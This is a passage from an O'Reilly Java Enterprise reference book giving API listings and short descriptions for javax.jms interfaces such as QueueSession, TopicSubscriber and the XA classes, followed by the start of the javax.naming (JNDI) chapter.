 | public abstract Serializable getObject () throws JMSException;
 | public abstract void setObject (Serializable object) throws JMSException;
}

Hierarchy: (ObjectMessage(Message))

Returned By: Session.createObjectMessage()

Queue JMS 1.0
javax.jms

A Queue is a Destination specific to point-to-point messaging. The Queue has a String name whose syntax is dictated by the provider. Queue objects are created using the createQueue() method on a QueueSession.

public interface Queue extends Destination {
// | Public Instance Methods
 | public abstract String getQueueName () throws JMSException;
 | public abstract String toString ();
}

Hierarchy: (Queue(Destination))

Implementations: TemporaryQueue

Passed To: QueueConnection.createConnectionConsumer(), QueueRequestor.QueueRequestor(), QueueSender.send(), QueueSession.{createBrowser(), createReceiver(), createSender()}

Returned By: QueueBrowser.getQueue(), QueueReceiver.getQueue(), QueueSender.getQueue(), QueueSession.createQueue()

QueueBrowser JMS 1.0
javax.jms

A QueueBrowser peeks at the contents of a message queue without actually removing messages. A QueueBrowser has an optional message selector that can filter the messages checked for on the queue. QueueBrowser objects are created using the createBrowser() methods on QueueSession.

public interface QueueBrowser {
// | Public Instance Methods
 | public abstract void close () throws JMSException;
 | public abstract java.util.Enumeration getEnumeration () throws JMSException;
 | public abstract String getMessageSelector () throws JMSException;
 | public abstract Queue getQueue () throws JMSException;
}

Returned By: QueueSession.createBrowser()

QueueConnection JMS 1.0
javax.jms

A QueueConnection is a Connection specific to a point-to-point messaging provider. The QueueConnection allows clients to create QueueSession objects using the createQueueSession() method.

public interface QueueConnection extends javax.jms.Connection {
// | Public Instance Methods
 | public abstract ConnectionConsumer createConnectionConsumer (Queue queue, String messageSelector, ServerSessionPool sessionPool, int maxMessages) throws JMSException;
 | public abstract QueueSession createQueueSession (boolean transacted, int acknowledgeMode) throws JMSException;
}

Hierarchy: (QueueConnection(javax.jms.Connection))

Implementations: XAQueueConnection

Returned By: QueueConnectionFactory.createQueueConnection()

QueueConnectionFactory JMS 1.0
javax.jms

A QueueConnectionFactory is exported by point-to-point providers to allow clients to create QueueConnection objects to the provider. The default createQueueConnection() method creates a connection under the default user identity of the client JVM, while the other constructor accepts a name and password that authenticates the connection request.

public interface QueueConnectionFactory extends ConnectionFactory {
// | Public Instance Methods
 | public abstract QueueConnection createQueueConnection () throws JMSException;
 | public abstract QueueConnection createQueueConnection (String userName, String password) throws JMSException;
}

Hierarchy: (QueueConnectionFactory(ConnectionFactory))

Implementations: XAQueueConnectionFactory

QueueReceiver JMS 1.0
javax.jms

A QueueReceiver is a MessageConsumer specific to point-to-point messaging. The getQueue() method returns the Queue associated with the receiver. QueueReceiver objects are created using the createReceiver() methods on QueueSession.

public interface QueueReceiver extends MessageConsumer {
// | Public Instance Methods
 | public abstract Queue getQueue () throws JMSException;
}

Hierarchy: (QueueReceiver(MessageConsumer))

Returned By: QueueSession.createReceiver()

QueueRequestor JMS 1.0
javax.jms

QueueRequestor is a utility class provided for situations in which a client wants to send a message to a specific destination and wait for a response. A QueueRequestor is constructed with a QueueSession and a destination Queue, and then its request() method is called with the Message to be sent. The QueueRequestor sets the reply-to destination on the message to a temporary Queue that it creates. It sends the message and waits for a response. The response Message is the return value of the request() method.

public class QueueRequestor {
// | Public Constructors
 | public QueueRequestor (QueueSession session, Queue queue) throws JMSException;
// | Public Instance Methods
 | public void close () throws JMSException;
 | public Message request (Message message) throws JMSException;
}
QueueSender JMS 1.0
javax.jms

A QueueSender is a MessageProducer that sends messages in a point-to-point context. QueueSender objects are created using the createQueue() method on QueueSession, specifying a default Queue as the target of messages. A client can override the default message target by using one of the send() methods on the QueueSender that accepts a target Queue. If a send() method is called without a target Queue, and the QueueSender does not have a default target Queue defined (e.g., it was created with a null target Queue), an InvalidDestinationException is thrown.

public interface QueueSender extends MessageProducer {
// | Public Instance Methods
 | public abstract Queue getQueue () throws JMSException;
 | public abstract void send (Message message) throws JMSException;
 | public abstract void send (Queue queue, Message message) throws JMSException;
 | public abstract void send (Message message, int deliveryMode, int priority, long timeToLive) throws JMSException;
 | public abstract void send (Queue queue, Message message, int deliveryMode, int priority, long timeToLive) throws JMSException;
}

Hierarchy: (QueueSender(MessageProducer))

Returned By: QueueSession.createSender()

QueueSession | JMS 1.0
javax.jms | runnable

The QueueSession is a Session specific to a point-to-point messaging context. It provides methods for creating point-to-point message consumers (QueueReceiver), producers (QueueSender), and destinations (Queue), as well as utilities objects such as QueueBrowser and TemporaryQueue.

public interface QueueSession extends Session {
// | Public Instance Methods
 | public abstract QueueBrowser createBrowser (Queue queue) throws JMSException;
 | public abstract QueueBrowser createBrowser (Queue queue, String messageSelector) throws JMSException;
 | public abstract Queue createQueue (String queueName) throws JMSException;
 | public abstract QueueReceiver createReceiver (Queue queue) throws JMSException;
 | public abstract QueueReceiver createReceiver (Queue queue, String messageSelector) throws JMSException;
 | public abstract QueueSender createSender (Queue queue) throws JMSException;
 | public abstract TemporaryQueue createTemporaryQueue () throws JMSException;
}

Hierarchy: (QueueSession(Session(Runnable)))

Passed To: QueueRequestor.QueueRequestor()

Returned By: QueueConnection.createQueueSession(), XAQueueSession.getQueueSession()

ResourceAllocationException | JMS 1.0
javax.jms | serializable checked

Thrown when a request is made of a provider, and it cannot be completed due to resource issues.

public class ResourceAllocationException extends JMSException {
// | Public Constructors
 | public ResourceAllocationException (String reason);
 | public ResourceAllocationException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->ResourceAllocationException

ServerSession JMS 1.0
javax.jms

A ServerSession is used by an application server when it needs to separate Session objects to individual threads, for concurrent access to and handling of flows of messages. The ServerSession represents a JMS Session tied to a thread. A ConnectionConsumer keeps a pool of ServerSession objects, which it handles messages as they arrive. The ConnectionConsumer assigns one or more messages to the Session contained in the ServerSession, and then calls the ServerSession's start() method. The ServerSession calls start() on the Thread for the Session, which eventually calls the run() method of the Session (Session implements the java.lang.Runnable interface).

public interface ServerSession {
// | Public Instance Methods
 | public abstract Session getSession () throws JMSException;
 | public abstract void start () throws JMSException;
}

Returned By: ServerSessionPool.getServerSession()

ServerSessionPool JMS 1.0
javax.jms

A ConnectionConsumer uses a ServerSessionPool to manage a pool of ServerSession objects. The ServerSessionPool can manage the pool any way it likes and can block if the pool is exhausted.

public interface ServerSessionPool {
// | Public Instance Methods
 | public abstract ServerSession getServerSession () throws JMSException;
}

Passed To: QueueConnection.createConnectionConsumer(), TopicConnection.{createConnectionConsumer(), createDurableConnectionConsumer()}

Returned By: ConnectionConsumer.getServerSessionPool()

Session | JMS 1.0
javax.jms | runnable

A Session provides a client with the means for creating messages, message producers, and message consumers. Extensions of Session create type-specific versions of these objects (e.g., QueueSender and TopicPublisher).

Within a Session, messages are sent and received in a serial order. The Session interface also provides facilities for JMS providers that chose to provide transactional support in their Session implementations. A transaction is started when the Session is created. In a messaging context, a transaction consists of a series of message transmissions and receipts. Committing a messaging transaction (by calling commit() on the corresponding Session) causes all pending transmissions to be sent and all pending receipts to be finalized and acknowledged. If a transaction is aborted (by calling the rollback() method on the Session), the outgoing messages are destroyed, and incoming messages are cancelled. A new transaction is started as soon as the current one is committed or rolled back.

public interface Session extends Runnable {
// | Public Constants
 | public static final int AUTO_ACKNOWLEDGE ; | =1
 | public static final int CLIENT_ACKNOWLEDGE ; | =2
 | public static final int DUPS_OK_ACKNOWLEDGE ; | =3
// | Public Instance Methods
 | public abstract void close () throws JMSException; |
 | public abstract void commit () throws JMSException; |
 | public abstract BytesMessage createBytesMessage () throws JMSException; |
 | public abstract MapMessage createMapMessage () throws JMSException; |
 | public abstract Message createMessage () throws JMSException; |
 | public abstract ObjectMessage createObjectMessage () throws JMSException; |
 | public abstract ObjectMessage createObjectMessage (Serializable object) throws JMSException; |
 | public abstract StreamMessage createStreamMessage () throws JMSException; |
 | public abstract TextMessage createTextMessage () throws JMSException; |
 | public abstract TextMessage createTextMessage (StringBuffer stringBuffer) throws JMSException; |
 | public abstract MessageListener getMessageListener () throws JMSException; |
 | public abstract boolean getTransacted () throws JMSException; |
 | public abstract void recover () throws JMSException; |
 | public abstract void rollback () throws JMSException; |
 | public abstract void setMessageListener (MessageListener listener) throws JMSException; |
}

Hierarchy: (Session(Runnable))

Implementations: QueueSession, TopicSession, XASession

Returned By: ServerSession.getSession()

StreamMessage JMS 1.0
javax.jms

A StreamMessage is a Message whose body consists of a stream of serialized Java primitive data items. It is similar in many ways to a BytesMessage, except that the contents of a StreamMessage are read in the same order they are written by the sender. Otherwise, StreamMessage has a similar set of read/write methods and similar rules about how certain data types are read from the message as BytesMessage.

public interface StreamMessage extends Message {
// | Public Instance Methods
 | public abstract boolean readBoolean () throws JMSException;
 | public abstract byte readByte () throws JMSException;
 | public abstract int readBytes (byte[ ] value) throws JMSException;
 | public abstract char readChar () throws JMSException;
 | public abstract double readDouble () throws JMSException;
 | public abstract float readFloat () throws JMSException;
 | public abstract int readInt () throws JMSException;
 | public abstract long readLong () throws JMSException;
 | public abstract Object readObject () throws JMSException;
 | public abstract short readShort () throws JMSException;
 | public abstract String readString () throws JMSException;
 | public abstract void reset () throws JMSException;
 | public abstract void writeBoolean (boolean value) throws JMSException;
 | public abstract void writeByte (byte value) throws JMSException;
 | public abstract void writeBytes (byte[ ] value) throws JMSException;
 | public abstract void writeBytes (byte[ ] value, int offset, int length) throws JMSException;
 | public abstract void writeChar (char value) throws JMSException;
 | public abstract void writeDouble (double value) throws JMSException;
 | public abstract void writeFloat (float value) throws JMSException;
 | public abstract void writeInt (int value) throws JMSException;
 | public abstract void writeLong (long value) throws JMSException;
 | public abstract void writeObject (Object value) throws JMSException;
 | public abstract void writeShort (short value) throws JMSException;
 | public abstract void writeString (String value) throws JMSException;
}

Hierarchy: (StreamMessage(Message))

Returned By: Session.createStreamMessage()

TemporaryQueue JMS 1.0
javax.jms

A TemporaryQueue is a Queue used internally by a QueueConnection.

public interface TemporaryQueue extends Queue {
// | Public Instance Methods
 | public abstract void delete () throws JMSException;
}

Hierarchy: (TemporaryQueue(Queue(Destination)))

Returned By: QueueSession.createTemporaryQueue()

TemporaryTopic JMS 1.0
javax.jms

A TemporaryTopic is a Topic used internally by a TopicConnection.

public interface TemporaryTopic extends Topic {
// | Public Instance Methods
 | public abstract void delete () throws JMSException;
}

Hierarchy: (TemporaryTopic(Topic(Destination)))

Returned By: TopicSession.createTemporaryTopic()

TextMessage JMS 1.0
javax.jms

A TextMessage is a Message whose body is a String. The contents of the message can be retrieved using the getText() method. The text of the message might be simple ASCII, or it could be structured according to a syntax like HTML or XML.

public interface TextMessage extends Message {
// | Public Instance Methods
 | public abstract String getText () throws JMSException;
 | public abstract void setText (String string) throws JMSException;
}

Hierarchy: (TextMessage(Message))

Returned By: Session.createTextMessage()

Topic JMS 1.0
javax.jms

A Topic is an address for a message in a publish/subscribe context. The Topic interface simply defines a String name for the topic. Providers define how topics are defined and grouped into a hierarchy.

public interface Topic extends Destination {
// | Public Instance Methods
 | public abstract String getTopicName () throws JMSException;
 | public abstract String toString ();
}

Hierarchy: (Topic(Destination))

Implementations: TemporaryTopic

Passed To: TopicConnection.{createConnectionConsumer(), createDurableConnectionConsumer()}, TopicPublisher.publish(), TopicRequestor.TopicRequestor(), TopicSession.{createDurableSubscriber(), createPublisher(), createSubscriber()}

Returned By: TopicPublisher.getTopic(), TopicSession.createTopic(), TopicSubscriber.getTopic()

TopicConnection JMS 1.0
javax.jms

A TopicConnection is a Connection to a publish/subscribe-based JMS provider. It provides methods for creating TopicSession objects, as well as ConnectionConsumer objects.

public interface TopicConnection extends javax.jms.Connection {
// | Public Instance Methods
 | public abstract ConnectionConsumer createConnectionConsumer (Topic topic, String messageSelector, ServerSessionPool sessionPool, int maxMessages) throws JMSException;
 | public abstract ConnectionConsumer createDurableConnectionConsumer (Topic topic, String messageSelector, ServerSessionPool sessionPool, int maxMessages) throws JMSException;
 | public abstract TopicSession createTopicSession (boolean transacted, int acknowledgeMode) throws JMSException;
}

Hierarchy: (TopicConnection(javax.jms.Connection))

Implementations: XATopicConnection

Returned By: TopicConnectionFactory.createTopicConnection()

TopicConnectionFactory JMS 1.0
javax.jms

A TopicConnectionFactory is exported by publish/subscribe providers to allow clients to create TopicConnection objects to the provider. The default createTopicConnection() method creates a connection under the default user identity of the client JVM, while the other constructor accepts a name and password that authenticates the connection request.

public interface TopicConnectionFactory extends ConnectionFactory {
// | Public Instance Methods
 | public abstract TopicConnection createTopicConnection () throws JMSException;
 | public abstract TopicConnection createTopicConnection (String userName, String password) throws JMSException;
}

Hierarchy: (TopicConnectionFactory(ConnectionFactory))

Implementations: XATopicConnectionFactory

TopicPublisher JMS 1.0
javax.jms

A TopicPublisher is a MessageProducer specific to a publish/subscribe context. TopicPublisher objects are created using the createPublisher() method on a TopicSession. A TopicPublisher is created with a Topic under which it publishes messages. A client can override the default Topic using one of the publish() methods that accepts a Topic as an argument along with the Message to be sent. Sending a Message without a Topic (i.e., the TopicPublisher was created with a nullTopic, and the Message was sent without specifying a Topic) causes an InvalidDestinationException to be thrown.

public interface TopicPublisher extends MessageProducer {
// | Public Instance Methods
 | public abstract Topic getTopic () throws JMSException;
 | public abstract void publish (Message message) throws JMSException;
 | public abstract void publish (Topic topic, Message message) throws JMSException;
 | public abstract void publish (Message message, int deliveryMode, int priority, long timeToLive) throws JMSException;
 | public abstract void publish (Topic topic, Message message, int deliveryMode, int priority, long timeToLive) throws JMSException;
}

Hierarchy: (TopicPublisher(MessageProducer))

Returned By: TopicSession.createPublisher()

TopicRequestor JMS 1.0
javax.jms

TopicRequestor is a utility class provided for situations where a client wants to send a message to a specific Topic and wait for a response. The TopicRequestor is constructed with a TopicSession and a destination Topic, and then its request() method is called with the Message to be sent. The TopicRequestor sets the reply-to destination on the message to a temporary Topic it creates. It sends the message and waits for a response. The response Message is the return value of the request() method.

public class TopicRequestor {
// | Public Constructors
 | public TopicRequestor (TopicSession session, Topic topic) throws JMSException;
// | Public Instance Methods
 | public void close () throws JMSException;
 | public Message request (Message message) throws JMSException;
}
TopicSession | JMS 1.0
javax.jms | runnable

A TopicSession is a Session specific to a publish/subscribe context. It provides methods for creating publish/subscribe message consumers (TopicSubscriber), message producers (TopicPublisher), and message destinations (Topic). It also has methods for creating utilities objects such as TemporaryTopic.

public interface TopicSession extends Session {
// | Public Instance Methods
 | public abstract TopicSubscriber createDurableSubscriber (Topic topic, String name) throws JMSException;
 | public abstract TopicSubscriber createDurableSubscriber (Topic topic, String name, String messageSelector, boolean noLocal) throws JMSException;
 | public abstract TopicPublisher createPublisher (Topic topic) throws JMSException;
 | public abstract TopicSubscriber createSubscriber (Topic topic) throws JMSException;
 | public abstract TopicSubscriber createSubscriber (Topic topic, String messageSelector, boolean noLocal) throws JMSException;
 | public abstract TemporaryTopic createTemporaryTopic () throws JMSException;
 | public abstract Topic createTopic (String topicName) throws JMSException;
 | public abstract void unsubscribe (String name) throws JMSException;
}

Hierarchy: (TopicSession(Session(Runnable)))

Passed To: TopicRequestor.TopicRequestor()

Returned By: TopicConnection.createTopicSession(), XATopicSession.getTopicSession()

TopicSubscriber JMS 1.0
javax.jms

A TopicSubscriber is a MessageConsumer specific to a publish/subscribe context. TopicSubscriber objects are created using the createSubscriber() and createDurableSubscriber() methods on the TopicSession. A TopicSubscriber is created with a Topic to subscribe to and can optionally be created with a message selector that filters the messages received by the subscriber. If a client is both publishing and subscribing to the same Topic, the no-local attribute on the TopicSubscriber specifies whether to filter out messages published by the same connection.

If a TopicSubscriber is created as durable (using createDurableSubscriber() on the TopicSession), the provider collects messages for this subscriber even when the subscriber is inactive. The provider keeps these messages until the subscriber receives them, or until they expire according to the sender's time-to-live header attribute. In order for the client to retrieve the messages collected under a durable TopicSubscriber after it has reactivated itself, it has to create a new TopicSubscriber under the same Topic with the same client ID.

public interface TopicSubscriber extends MessageConsumer {
// | Public Instance Methods
 | public abstract boolean getNoLocal () throws JMSException;
 | public abstract Topic getTopic () throws JMSException;
}

Hierarchy: (TopicSubscriber(MessageConsumer))

Returned By: TopicSession.{createDurableSubscriber(), createSubscriber()}

TransactionInProgressException | JMS 1.0
javax.jms | serializable checked

Thrown if an invalid request is made during a transactional session (e.g., attempting to commit() a session while a message is still being sent).

public class TransactionInProgressException extends JMSException {
// | Public Constructors
 | public TransactionInProgressException (String reason);
 | public TransactionInProgressException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->TransactionInProgressException

TransactionRolledBackException | JMS 1.0
javax.jms | serializable checked

Thrown by the Session.commit() method if the transaction needs to be rolled back because of some internal error.

public class TransactionRolledBackException extends JMSException {
// | Public Constructors
 | public TransactionRolledBackException (String reason);
 | public TransactionRolledBackException (String reason, String errorCode);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->JMSException-->TransactionRolledBackException

XAConnection JMS 1.0
javax.jms

This interface represents a Connection to a provider that supports transactional messaging, according to the X/Open XA protocol for transactional processing. Subinterfaces of XAConnection generate transactional sessions in the form of XASession objects.

public interface XAConnection {
}

Implementations: XAQueueConnection, XATopicConnection

XAConnectionFactory JMS 1.0
javax.jms

A transactional JMS provider exports an XAConnectionFactory for clients to use to create XAConnection objects. Clients typically find a provider's XAConnectionFactory using a JNDI lookup.

public interface XAConnectionFactory {
}

Implementations: XAQueueConnectionFactory, XATopicConnectionFactory

XAQueueConnection JMS 1.0
javax.jms

An XAQueueConnection is a Connection to a transactional provider of point-to-point messaging. It extends the QueueConnection interface with a createXAQueueSession() method, which creates a transactional XAQueueSession.

public interface XAQueueConnection extends javax.jms.XAConnection, QueueConnection {
// | Public Instance Methods
 | public abstract XAQueueSession createXAQueueSession () throws JMSException;
}

Hierarchy: (XAQueueConnection(javax.jms.XAConnection,QueueConnection(javax.jms.Connection)))

Returned By: XAQueueConnectionFactory.createXAQueueConnection()

XAQueueConnectionFactory JMS 1.0
javax.jms

An XAQueueConnectionFactory is a QueueConnectionFactory that creates XAQueueConnection objects to a transactional point-to-point JMS provider.

public interface XAQueueConnectionFactory extends XAConnectionFactory, QueueConnectionFactory {
// | Public Instance Methods
 | public abstract XAQueueConnection createXAQueueConnection () throws JMSException;
 | public abstract XAQueueConnection createXAQueueConnection (String userName, String password) throws JMSException;
}

Hierarchy: (XAQueueConnectionFactory(XAConnectionFactory,QueueConnectionFactory(ConnectionFactory)))

XAQueueSession | JMS 1.0
javax.jms | runnable

An XAQueueSession is a wrapper around a QueueSession. It represents a transactional session with a JMS point-to-point provider.

public interface XAQueueSession extends XASession {
// | Public Instance Methods
 | public abstract QueueSession getQueueSession () throws JMSException;
}

Hierarchy: (XAQueueSession(XASession(Session(Runnable))))

Returned By: XAQueueConnection.createXAQueueSession()

XASession | JMS 1.0
javax.jms | runnable

An XASession is a Session with a provider that supports transactional messaging according to the X/Open XA protocol for transactional processing. The XASession contains a javax.transaction.xa.XAResource object that represents the association of the Session with a transaction context.

public interface XASession extends Session {
// | Public Instance Methods
 | public abstract javax.transaction.xa.XAResource getXAResource ();
}

Hierarchy: (XASession(Session(Runnable)))

Implementations: XAQueueSession, XATopicSession

XATopicConnection JMS 1.0
javax.jms

An XATopicConnection represents a Connection to a transactional provider of publish/subscribe messaging. It extends the TopicConnection interface with a createXATopicSession() method, which creates a transactional XATopicSession.

public interface XATopicConnection extends javax.jms.XAConnection, TopicConnection {
// | Public Instance Methods
 | public abstract XATopicSession createXATopicSession () throws JMSException;
}

Hierarchy: (XATopicConnection(javax.jms.XAConnection,TopicConnection(javax.jms.Connection)))

Returned By: XATopicConnectionFactory.createXATopicConnection()

XATopicConnectionFactory JMS 1.0
javax.jms

An XATopicConnectionFactory is a TopicConnectionFactory that creates XATopicConnection objects to a transactional publish/subscribe JMS provider.

public interface XATopicConnectionFactory extends XAConnectionFactory, TopicConnectionFactory {
// | Public Instance Methods
 | public abstract XATopicConnection createXATopicConnection () throws JMSException;
 | public abstract XATopicConnection createXATopicConnection (String userName, String password) throws JMSException;
}

Hierarchy: (XATopicConnectionFactory(XAConnectionFactory,TopicConnectionFactory(ConnectionFactory)))

XATopicSession | JMS 1.0
javax.jms | runnable

An XATopicSession is a wrapper around a TopicSession. It represents a transactional session with a JMS publish/subscribe provider.

public interface XATopicSession extends XASession {
// | Public Instance Methods
 | public abstract TopicSession getTopicSession () throws JMSException;
}

Hierarchy: (XATopicSession(XASession(Session(Runnable))))

Returned By: XATopicConnection.createXATopicSession()

Previous | Home | Next
20.1. The javax.ejb.deployment Package | Book Index | 22. The javax.naming Package
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The javax.naming Package (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 22. The javax.naming Package

The javax.naming package contains the core interfaces, classes, and exceptions for performing naming operations with JNDI. Context represents named objects in a naming system, while InitialContext provides an entry point into a naming system. Binding is the association between a name and an object in a naming system. NamingException is the root of a large collection of naming exceptions defined by JNDI. Figure 22-1 shows the classes and interfaces of the javax.naming package, while Figure 22-2 shows the exception hierarchy.

Figure 22-1. The classes and interfaces of the javax.naming package

Figure 22-2. The exception hierarchy of the javax.naming package

AuthenticationException | JNDI 1.1
javax.naming | serializable checked

Thrown when JNDI encounters an error authenticating to the naming system, such as when a bad username or password is used.

public class AuthenticationException extends NamingSecurityException {
// | Public Constructors
 | public AuthenticationException ();
 | public AuthenticationException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NamingSecurityException-->AuthenticationException

AuthenticationNotSupportedException | JNDI 1.1
javax.naming | serializable checked

Thrown when the requested type of authentication is not supported.

public class AuthenticationNotSupportedException extends NamingSecurityException {
// | Public Constructors
 | public AuthenticationNotSupportedException ();
 | public AuthenticationNotSupportedException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->NamingSecurityException-->AuthenticationNotSupportedException

BinaryRefAddr | JNDI 1.1
javax.naming | serializable

A concrete subclass of RefAddr that provides a binary representation of a communications endpoint, such as an IP address.

public class BinaryRefAddr extends RefAddr {
// | Public Constructors
 | public BinaryRefAddr (String addrType, byte[ ] src);
 | public BinaryRefAddr (String addrType, byte[ ] src, int offset, int count);
// | Public methods overriding RefAddr
 | public boolean equals (Object obj);
 | public Object getContent ();
 | public int hashCode ();
 | public String toString ();
}

Hierarchy: Object-->RefAddr(Serializable)-->BinaryRefAddr

Binding | JNDI 1.1
javax.naming | serializable

This class represents the association between a name and an object. The listBindings() method of Context returns a NamingEnumeration of Binding objects.

public class Binding extends NameClassPair {
// | Public Constructors
 | public Binding (String name, Object obj);
 | public Binding (String name, String className, Object obj);
 | public Binding (String name, Object obj, boolean isRelative);
 | public Binding (String name, String className, Object obj, boolean isRelative);
// | Public Instance Methods
 | public Object getObject ();
 | public void setObject (Object obj);
// | Public methods overriding NameClassPair
 | public String getClassName ();
 | public String toString ();
}

Hierarchy: Object-->NameClassPair(Serializable)-->javax.naming.Binding

Subclasses: javax.naming.directory.SearchResult

CannotProceedException | JNDI 1.1
javax.naming | serializable checked

Thrown when a service provider cannot further resolve a name, such as when a component of a name resides in another service provider.

public class CannotProceedException extends NamingException {
// | Public Constructors
 | public CannotProceedException (); |
 | public CannotProceedException (String explanation); |
// | Public Instance Methods
 | public Name getAltName (); | default:null
 | public javax.naming.Context getAltNameCtx (); | default:null
 | public java.util.Hashtable getEnvironment (); | default:null
 | public Name getRemainingNewName (); | default:null
 | public void setAltName (Name altName); |
 | public void setAltNameCtx (javax.naming.Context altNameCtx); |
 | public void setEnvironment (java.util.Hashtable environment); |
 | public void setRemainingNewName (Name newName); |
// | Protected Instance Fields
 | protected Name altName ; |
 | protected javax.naming.Context altNameCtx ; |
 | protected java.util.Hashtable environment ; |
 | protected Name remainingNewName ; |
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->CannotProceedException

Passed To: javax.naming.spi.DirectoryManager.getContinuationDirContext(), javax.naming.spi.NamingManager.getContinuationContext()

CommunicationException | JNDI 1.1
javax.naming | serializable checked

Thrown when a JNDI method is unable to communicate with the naming service for some reason.

public class CommunicationException extends NamingException {
// | Public Constructors
 | public CommunicationException ();
 | public CommunicationException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->CommunicationException

CompositeName | JNDI 1.1
javax.naming | cloneable serializable

This class represents a sequence of names that span multiple namespaces. Each component of a CompositeName is a String name. The CompositeName does not know to which naming system each name component belongs. JNDI uses the forward slash character ("/") to separate constituent name components.

public class CompositeName implements Name {
// | Public Constructors
 | public CompositeName (); |
 | public CompositeName (String n) throws InvalidNameException; |
// | Protected Constructors
 | protected CompositeName (java.util.Enumeration comps); |
// | Methods implementing Name
 | public Name add (String comp) throws InvalidNameException; |
 | public Name add (int posn, String comp) throws InvalidNameException; |
 | public Name addAll (Name suffix) throws InvalidNameException; |
 | public Name addAll (int posn, Name n) throws InvalidNameException; |
 | public Object clone (); |
 | public int compareTo (Object obj); |
 | public boolean endsWith (Name n); |
 | public String get (int posn); |
 | public java.util.Enumeration getAll (); |
 | public Name getPrefix (int posn); |
 | public Name getSuffix (int posn); |
 | public boolean isEmpty (); | default:true
 | public Object remove (int posn) throws InvalidNameException; |
 | public int size (); |
 | public boolean startsWith (Name n); |
// | Public methods overriding Object
 | public boolean equals (Object obj); |
 | public int hashCode (); |
 | public String toString (); |
}

Hierarchy: Object-->CompositeName(Name(Cloneable,Serializable))

CompoundName | JNDI 1.1
javax.naming | cloneable serializable

This class represents a name that is made up of atomic names from a single name space.

public class CompoundName implements Name {
// | Public Constructors
 | public CompoundName (String n, java.util.Properties syntax) throws InvalidNameException;
// | Protected Constructors
 | protected CompoundName (java.util.Enumeration comps, java.util.Properties syntax);
// | Methods implementing Name
 | public Name add (String comp) throws InvalidNameException;
 | public Name add (int posn, String comp) throws InvalidNameException;
 | public Name addAll (Name suffix) throws InvalidNameException;
 | public Name addAll (int posn, Name n) throws InvalidNameException;
 | public Object clone ();
 | public int compareTo (Object obj);
 | public boolean endsWith (Name n);
 | public String get (int posn);
 | public java.util.Enumeration getAll ();
 | public Name getPrefix (int posn);
 | public Name getSuffix (int posn);
 | public boolean isEmpty ();
 | public Object remove (int posn) throws InvalidNameException;
 | public int size ();
 | public boolean startsWith (Name n);
// | Public methods overriding Object
 | public boolean equals (Object obj);
 | public int hashCode ();
 | public String toString ();
// | Protected Instance Fields
 | protected transient NameImpl impl ;
 | protected transient java.util.Properties mySyntax ;
}

Hierarchy: Object-->CompoundName(Name(Cloneable,Serializable))

ConfigurationException | JNDI 1.1
javax.naming | serializable checked

Thrown when JNDI has experienced a configuration problem, such as a missing environment property or a misconfigured security protocol.

public class ConfigurationException extends NamingException {
// | Public Constructors
 | public ConfigurationException ();
 | public ConfigurationException (String explanation);
}

Hierarchy: Object-->Throwable(Serializable)-->Exception-->NamingException-->ConfigurationException

Context JNDI 1.1
javax.naming

This interface represents an object in a naming system. A Context keeps track of a set of name-to-object bindings for its subordinates in the naming system, so it defines methods to examine and update these bindings. The lookup() method looks up a subordinate object, while list() and listBindings() provide access to all of the subordinates.

A Context only knows about its subordinates, not about itself or what is above it in the naming system. Thus, there are no methods to get the name of a Context or move up in the naming hierarchy.

public abstract interface Context {
// | Public Constants
 | public static final String AUTHORITATIVE ; | ="java.naming.authoritative"
 | public static final String BATCHSIZE ; | ="java.naming.batchsize"
 | public static final String DNS_URL ; | ="java.naming.dns.url"
 | public static final String INITIAL_CONTEXT_FACTORY ; | ="java.naming.factory.initial"
 | public static final String LANGUAGE ; | ="java.naming.language"
 | public static final String OBJECT_FACTORIES ; | ="java.naming.factory.object"
 | public static final String PROVIDER_URL ; | ="java.naming.provider.url"
 | public static final String REFERRAL ; | ="java.naming.referral"
 | public static final String SECURITY_AUTHENTICATION ; | ="java.naming.security.authentication"
 | public static final String SECURITY_CREDENTIALS ; | ="java.naming.security.credentials"
 | public static final String SECURITY_PRINCIPAL ; | ="java.naming.security.principal"
 | public static final String SECURITY_PROTOCOL ; | ="java.naming.security.protocol"
 | public static final String URL_PKG_PREFIXES ; | ="java.naming.factory.url.pkgs"
// | Public Instance Methods
 | public abstract Object addToEnvironment (String propName, Object propVal) throws NamingException; |
 | public abstract void bind (Name name, Object obj) throws NamingException; |
 | public abstract void bind (String name, Object obj) throws NamingException; |
 | public abstract void close () throws NamingException; |
 | public abstract Name composeName (Name name, Name prefix) throws NamingException; |
 | public abstract String composeName (String name, String prefix) throws NamingException; |
 | public abstract javax.naming.Context createSubcontext (Name name) throws NamingException; |
 | public abstract javax.naming.Context createSubcontext (String name) throws NamingException; |
 | public abstract void destroySubcontext (Name name) throws NamingException; |
 | public abstract void destroySubcontext (String name) throws NamingException; |
 | public abstract java.util.Hashtable getEnvironment () throws NamingException; |
 | public abstract NameParser getNameParser (Name name) throws NamingException; |
 | public abstract NameParser getNameParser (String name) throws NamingException; |
 | public abstract NamingEnumeration list (Name name) throws NamingException; |
 | public abstract NamingEnumeration list (String name) throws NamingException; |
 | public abstract NamingEnumeration listBindings (Name name) throws NamingException; |
 | public abstract NamingEnumeration listBindings (String name) throws NamingException; |
 | public abstract Object lookup (Name name) throws NamingException; |
 | public abstract Object lookup (String name) throws NamingException; |
 | public abstract Object lookupLink (Name name) throws NamingException; |
 | public abstract Object lookupLink (String name) throws NamingException; |
 | public abstract void rebind (Name name, Object obj) throws NamingException; |
 | public abstract void rebind (String name, Object obj) throws NamingException; |
 | public abstract Object removeFromEnvironment (String propName) throws NamingException; |
 | public abstract void rename (Name oldName, Name newName) throws NamingException; |
 | public abstract void rename (String oldName, String newName) throws NamingException; |
 | public abstract void unbind (Name name) throws NamingException; |
 | public abstract void unbind (String name) throws NamingException; |
}

Implementations: InitialContext, javax.naming.directory.DirContext

Passed To: CannotProceedException.setAltNameCtx(), javax.naming.spi.NamingManager.getObjectInstance(), javax.naming.spi.ObjectFactory.getObjectInstance()

